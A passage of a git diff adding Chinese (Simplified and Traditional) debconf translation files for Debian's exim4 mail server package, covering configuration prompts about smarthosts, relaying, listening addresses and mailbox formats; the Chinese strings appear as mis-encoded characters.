+#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "用 smarthost å‘信;通过 SMTP 或 fetchmail 接收信件" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "用 smarthost å‘ä¿¡ï¼›æ— æœ¬åœ°ä¿¡ä»¶" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "ä»…åœ¨æœ¬åœ°æŠ•é€’ä¿¡ä»¶ï¼›æ— ç½‘ç»œè¿žæŽ¥" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "现在ä¸è¿›è¡Œé…ç½®" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "邮件系统设置的常è§ç±»åž‹ï¼š" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "请选择一个最适åˆæ‚¨éœ€è¦çš„邮件æœåŠ¡å™¨è®¾ç½®ç±»åž‹ã€‚" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ä½¿ç”¨åŠ¨æ€ IP 地å€çš„系统,包括拨å·ç³»ç»Ÿï¼Œé€šå¸¸åº”该设置为将寄出的信件é€åˆ°å¦ä¸€å°ä¸»" +"机,也就是“smarthostâ€ä¸Šæ¥å®ŒæˆæŠ•é€’å·¥ä½œã€‚è¿™æ˜¯å› ä¸ºå¾ˆå¤š Internet 上的邮件接收系统" +"为了防æ¢åžƒåœ¾é‚®ä»¶ï¼Œä¼šå°é”ä»ŽåŠ¨æ€ IP 地å€å‘æ¥çš„邮件。" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"ä½¿ç”¨åŠ¨æ€ IP 地å€çš„系统å¯ä»¥æŽ¥å—自己系统的内部信件,也å¯ä»¥å®Œå…¨ä¸æŠ•é€’任何本地信" +"件 (root å’Œ postmaster 的信件除外)。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "您真的ä¸é…置邮件系统å—?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"在完æˆé‚®ä»¶ç³»ç»Ÿçš„é…置之å‰ï¼Œå®ƒå°†å¤„于故障状æ€å¹¶ä¸å¯ä½¿ç”¨ã€‚您å¯ä»¥æ—¥åŽå†æ‰‹åŠ¨é…置," +"或者以 root 身份执行“dpkg-reconfigure exim4-configâ€è¿›è¡Œé…置。" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "系统邮件å称:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "“邮件å称â€æ˜¯ä¸€ä¸ªåŸŸå,用于“识别â€(qualify) ä¸åŒ…å«åŸŸå的邮件地å€ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "这个å称也被其它程åºæ‰€ä½¿ç”¨ã€‚它应该是å•ä¸€çš„完整域å (FQDN)。" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"å› æ¤ï¼Œå¦‚果本地主机的æŸä¸ªé‚®ä»¶åœ°å€æ˜¯ foo@example.org,则这一项的æ£ç¡®è®¾ç½®å°±åº”该" +"是 example.org。" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"如果开å¯äº†é‡å†™ (rewrite) 功能,æ¤å称将ä¸ä¼šå‡ºçŽ°åœ¨å¯„出信件的“From:â€è¡Œä¸ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "其它å¯æŽ¥æ”¶é‚®ä»¶çš„目的地å€ï¼š" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"请输入被æ¤ä¸»æœºè®¤ä¸ºæ˜¯ä»¥å…¶è‡ªèº«ä¸ºæœ€ç»ˆç›®çš„地å€çš„域å列表,用åŠè§’冒å·åˆ†éš”。这些域" +"å通常被å«ä½œâ€œæœ¬åœ°åŸŸåâ€ã€‚本地主机å (${fqdn}) 和“localhostâ€ä¼šè¢«åŠ 进这里给出的" +"域å列表里。" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"默认情况下,所有的域å都会被相åŒå¯¹å¾…。如果 a.example å’Œ b.example 都是本地域" +"å,寄给 acc@a.example å’Œ acc@b.example 的信件将会被投递到åŒä¸€ä¸ªæœ€ç»ˆç›®çš„地。" +"如果ä¸åŒçš„域å应被区别对待,您需è¦åœ¨ç¨åŽç¼–辑é…置文件。" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "为下列域å进行邮件ä¸è½¬ (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"请输入一个æ¤ç³»ç»Ÿä¼šè¿›è¡Œé‚®ä»¶ä¸è½¬çš„域å列表,用åŠè§’冒å·åˆ†éš”。例如备用 MX 或邮件" +"网关就需è¦æ¤é¡¹è®¾ç½®ã€‚è¿™æ„味ç€æ¤ç³»ç»Ÿä¼šæŽ¥æ”¶ä»Ž Internet 上任何地方å‘往这些域åçš„" +"邮件,并按本地投递规则投递它们。" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "请ä¸è¦åœ¨è¿™é‡ŒæåŠæœ¬åœ°åŸŸå。å¯ä»¥ä½¿ç”¨é€šé…符。" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "为下列主机进行邮件ä¸è½¬ (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"请输入一个 IP 地å€èŒƒå›´åˆ—表,用åŠè§’冒å·åˆ†éš”ã€‚æœ¬ç³»ç»Ÿå°†æ— æ¡ä»¶ä¸ºè¿™äº›åœ°å€ä¸è½¬é‚®" +"件,起到 smarthost 的作用。" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"æ‚¨åº”è¯¥ä½¿ç”¨æ ‡å‡†çš„â€œåœ°å€/长度â€æ ¼å¼ (例如 194.222.242.0/24 或 " +"5f03:1200:836f::/48)。" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "如果æ¤ç³»ç»Ÿä¸åº”æˆä¸ºä»»ä½•å…¶å®ƒä¸»æœºçš„ smarthost,请将æ¤åˆ—表置空。" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "本地用户的å¯è§åŸŸå:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"您å¯ç”¨äº†åœ¨å¯„出的信件里éšè—本地邮件åç§°çš„é€‰é¡¹ã€‚å› æ¤æ‚¨éœ€è¦æŒ‡æ˜Žä¸€ä¸ªåŸŸå,作为æ¤" +"系统为本地用户寄信时å‘信者地å€çš„域å部分。" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "寄信使用的 smarthost çš„ IP 地å€æˆ–主机å:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"请输入æ¤ç³»ç»Ÿç”¨ä½œå¯„出信件 smarthost 的邮件æœåŠ¡å™¨çš„ IP 地å€æˆ–主机å。如果该 " +"smarthost 仅接å—æ‚¨ä»Žéž TCP/25 端å£æ‰€å‘的信件,请在åŽé¢åŠ 上两个冒å·å’Œç«¯å£å· " +"(例如 smarthost.example::587 或 192.168.254.254::2525)。IPv6 地å€éœ€è¦ä½¿ç”¨åŒå†’" +"å·ã€‚" + +# I've added a trailing '/' to the path in the translation. (Ming) +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"如果该 smarthost è¦æ±‚身份验è¯ï¼Œè¯·å‚阅 /usr/share/doc/exim4-base/ ä¸ Debian 特" +"有的 README 文件ä¸å…³äºŽè®¾ç½® SMTP 验è¯çš„注æ„事项。" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Root å’Œ postmaster 邮件的接收者:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"寄给“postmasterâ€ã€â€œrootâ€ä»¥åŠå…¶å®ƒç³»ç»Ÿå¸æˆ·çš„邮件应被转å‘到实际系统管ç†å‘˜çš„普通" +"用户å¸æˆ·ä¸‹ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "如果æ¤é¡¹è¢«ç½®ç©ºï¼Œè¿™äº›é‚®ä»¶å°†è¢«ä¿å˜åœ¨ /var/mail/mail。但是ä¸æŽ¨èè¿™æ ·åšã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"注æ„:postmaster,å³é‚®ä»¶ç®¡ç†å‘˜çš„邮件应该在其目的主机上读å–,而ä¸åº”被转å‘到别" +"å¤„ã€‚å› æ¤è¿™é‡Œåˆ—出的用户ä¸è‡³å°‘è¦æœ‰ä¸€äººä¸æŠŠå…¶é‚®ä»¶é‡å®šå‘到其他机器。您å¯ä»¥ä½¿" +"用“real-â€å‰ç¼€æ¥å¼ºåˆ¶è¿›è¡Œæœ¬åœ°æŠ•é€’。" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "多个用户å需用åŠè§’ç©ºæ ¼åˆ†éš”ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "è¦ç›‘å¬å…¥ç«™ SMTP 连接的 IP 地å€ï¼š" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"请输入一个由åŠè§’冒å·åˆ†éš”çš„ IP 地å€åˆ—表。Exim çš„ç›‘å¬ SMTP 的守护进程将会监å¬è¿™" +"里列出的所有 IP 地å€ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "空白值将使 Exim 监å¬æ‰€æœ‰ç½‘络接å£çš„ SMTP 入站连接。" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"如果æ¤ç³»ç»Ÿåªé€šè¿‡ç±»ä¼¼ fetchmail 的本地æœåŠ¡æ¥æ”¶å–é‚®ä»¶ï¼Œæˆ–è€…æ‚¨ä½¿ç”¨çš„é‚®ä»¶ç¨‹åº " +"(MUA) åªè·Ÿ localhost 交互 (而éžå’Œå…¶å®ƒä¸»æœº),那么建议您阻æ¢å¤–部连接访问本地 " +"Exim。具体åšæ³•æ˜¯å°†æ¤é€‰é¡¹è®¾å®šä¸º 127.0.0.1ã€‚è¿™æ ·å°±ç¦ç”¨äº†å¯¹å…¬å…±ç½‘络接å£çš„监å¬ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "ä¿æŒæœ€å° DNS 查询é‡å— (按需拔å·ï¼ŒDial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"当以普通模å¼è¿è¡Œæ—¶ï¼ŒExim 会在å¯åŠ¨ã€æŽ¥æ”¶ä¿¡ä»¶æˆ–投递信件的时候进行 DNS 查询。这" +"æ ·åšä¾¿äºŽè®°å½•æ—¥å¿—,并使设置文件ä¸å°½å¯èƒ½å°‘地出现硬编ç 值。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"如果æ¤ç³»ç»Ÿå¹¶éžéšæ—¶éƒ½æœ‰ DNS 解æžæœåŠ¡ (例如系统是通过拨å·çº¿è·¯è¿žæŽ¥ Internet,并" +"且是按需拨å·)ï¼Œè¿™æ ·åšå¯èƒ½ä¼šå¯¼è‡´æ‚¨ä¸å¸Œæœ›çœ‹åˆ°çš„结果。比如说,å¯åŠ¨ Exim 或者处ç†" +"信件队列 (哪怕队列里é¢å¹¶æ²¡æœ‰ä¿¡ä»¶ç‰å¾…投递) 都å¯èƒ½è§¦å‘一个昂贵的拨å·äº‹ä»¶ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"如果系统使用按需拨å·ï¼Œåº”选择æ¤é€‰é¡¹ã€‚如果系统一直有 Internet 连接,则ä¸åº”选择" +"æ¤é€‰é¡¹ã€‚" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "邮件æœåŠ¡å™¨è®¾ç½®" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "将设置文件分拆æˆå°æ–‡ä»¶å—?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian çš„ exim4 软件包既å¯ä»¥ä½¿ç”¨â€œæœªåˆ†æ‹†è®¾ç½®â€ï¼Œå³å•ä¸ªè®¾ç½®æ–‡ä»¶ (/etc/exim4/" +"exim4.conf.template);也å¯ä»¥ä½¿ç”¨â€œåˆ†æ‹†è®¾ç½®â€ï¼Œå³é€šè¿‡ /etc/exim4/conf.d/ 下的大" +"约 50 个å°æ–‡ä»¶æ¥äº§ç”Ÿæœ€ç»ˆçš„设置文件。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"未分拆设置更适åˆå¯¹è®¾ç½®è¿›è¡Œå¤§é‡æ›´åŠ¨ï¼Œä¸€èˆ¬è€Œè¨€ä¹Ÿè¾ƒç¨³å®šã€‚分拆设置则æ供了一ç§èˆ’" +"æœåœ°è¿›è¡Œå°‘é‡ä¿®æ”¹çš„方法,但也会比较脆弱,如果修改é…置内容时一ä¸å°å¿ƒå°±ä¼šå¯¼è‡´æ•…" +"障。" + +# I've added a trailing '/' to the path in the translation. (Ming) +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"关于分拆设置和未分拆设置的更详细的讨论å¯å‚è§ /usr/share/doc/exim4-base/ ä¸ " +"Debian 特有的 README 文件。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "è¦åœ¨å¯„出的邮件ä¸éšè—本地邮件å称å—?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"寄出邮件的信头å¯ä»¥è¢«é‡å†™ï¼Œä»¥ä½¿é‚®ä»¶çœ‹èµ·æ¥æ˜¯åœ¨åˆ«çš„系统ä¸ç”Ÿæˆã€‚如果åšè¿™ä¸€é€‰æ‹©ï¼Œ" +"ä¿¡å¤´ä¸ Fromã€Reply-Toã€Sender å’Œ Return-Path 里" +"的“${mailname}â€ã€â€œlocalhostâ€å’Œâ€œ${dc_other_hostnames}â€å°†è¢«é‡å†™ã€‚" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail/ ä¸çš„ mbox æ ¼å¼" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "家目录ä¸çš„ Maildir æ ¼å¼" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "本地信件的投递方å¼ï¼š" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim å¯ä»¥å°†æŠ•é€’到本地的信件以多ç§æ ¼å¼å‚¨å˜ã€‚最常用的两ç§å‚¨å˜æ ¼å¼æ˜¯ mbox å’Œ " +"Maildir。使用 mbox æ ¼å¼æ—¶ï¼Œæ•´ä¸ªé‚®ä»¶å¤¹ä¸€èµ·å‚¨å˜ä¸º /var/mail/ ä¸çš„一个文件。使" +"用 Maildir æ ¼å¼æ—¶ï¼Œæ¯ä¸€å°ä¿¡ä»¶éƒ½åˆ†åˆ«å‚¨å˜ä¸ºä¸€ä¸ª ~/Maildir/ ä¸çš„文件。" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"请注æ„,Debian ä¸çš„大多数邮件工具的默认设置都å‡å®šæœ¬åœ°ä¿¡ä»¶ä»¥ mbox æ ¼å¼æŠ•é€’。" diff --git a/debian/po/zh_TW.po b/debian/po/zh_TW.po new file mode 100644 index 0000000..6a0885d --- /dev/null +++ b/debian/po/zh_TW.po @@ -0,0 +1,637 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4/debian\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2006-10-21 16:59+0800\n" +"Last-Translator: Tetralet <tetralet@gmail.com>\n" +"Language-Team: Debian-user in Chinese [Big5] <debian-chinese-big5@lists." +"debian.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "是å¦æ¸…除在 spool 目錄ä¸å°šæœªéžé€ä¹‹ä¿¡ä»¶ï¼Ÿ" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"在 exim çš„ spool 目錄 /var/spool/exim4/input ä¸ï¼Œé‚„有一些郵件尚未éžé€ã€‚移除 " +"Exim 將會導致它們åœæ¢éžé€ç›´åˆ°é‡æ–°å®‰è£äº† Exim。" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"如果沒有é¸å–這個é¸é …,那麼 spool 目錄將會被ä¿ç•™ä¸‹ä¾†ã€‚這將å…許在 queue ä¸çš„郵" +"件å¯ä»¥åœ¨æ—¥å¾Œé‡æ–°å®‰è£ Exim 後å†é‡æ–°éžé€ã€‚" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "在é‡æ–°è¨å®šæ™‚請替而使用 exim4-config 而ä¸æ˜¯æœ¬å¥—件" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 已將其è¨å®šç¨‹å¼åˆ†é›¢ç‚ºå¦ä¸€å€‹ç¨ç«‹å¥—件,exim4-config。如果您想è¦é‡æ–°è¨å®š " +"Exim4,請使用 dpkg-reconfigure exim4-config。" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "網際網路站å°ï¼›ç›´æŽ¥é€éŽ SMTP 來傳é€æŽ¥æ”¶éƒµä»¶" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "使用 smarthost 來傳é€éƒµä»¶ï¼›ä¸¦è—‰ç”± SMTP 或是 fetchmail 來接收郵件" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "使用 smarthost 來傳é€éƒµä»¶ï¼›ä¸”無本機郵件" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "åªå‚³é€æœ¬æ©Ÿçš„郵件;並未ä½æ–¼ç¶²è·¯ä¸Š" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ä¸è¦åœ¨æ¤æ™‚進行è¨å®š" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "è¨å®šéƒµä»¶æ‰€ä½¿ç”¨çš„ä¸€èˆ¬æ ¼å¼ï¼š" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "è«‹é¸æ“‡æœ€ç¬¦åˆæ‚¨çš„需求的郵件伺æœå™¨ä¹‹è¨å®šé¡žåž‹ã€‚" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"一般會將使用浮動 IP ä½å€ï¼ˆåŒ…括使用撥號網路)的系統è¨å®šæˆåœ¨å¤–é€éƒµä»¶æ™‚是寄é€çµ¦" +"å¦å¤–一å°ç¨±ç‚º smart host çš„æ©Ÿå™¨ã€‚é€™æ˜¯å› ç‚ºå¾ˆå¤šåœ¨ Internet 上的收信系統為了防治" +"垃圾郵件,ä¸æœƒæŽ¥æ”¶ç”±æµ®å‹• IP ä½å€æ‰€å¯„出的信件。" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"使用浮動 IP ä½å€çš„系統å¯ä»¥åªæŽ¥æ”¶å®ƒæœ¬èº«çš„郵件,或者å¯ä»¥å®Œå…¨é—œé–‰æŽ¥æ”¶ï¼ˆé™¤äº† " +"root åŠ postmaster 的郵件之外的)本機郵件的功能" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "是å¦çœŸçš„è¦è®“郵件系統處於未è¨å®šä¹‹ç‹€æ…‹ï¼Ÿ" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"在郵件系統è¨å®šå®Œæˆä¹‹å‰ï¼Œå®ƒå°‡è™•æ–¼æ•…障且無法使用之狀態。若想在ç¨å€™å†é€²è¡Œè¨å®šï¼Œ" +"å¯è—‰ç”±æ‰‹å‹•ä¿®æ”¹ã€æˆ–是以 root 身分來執行 dpkg-reconfigure exim4-config。" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "系統郵件å稱 (mail name):" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses 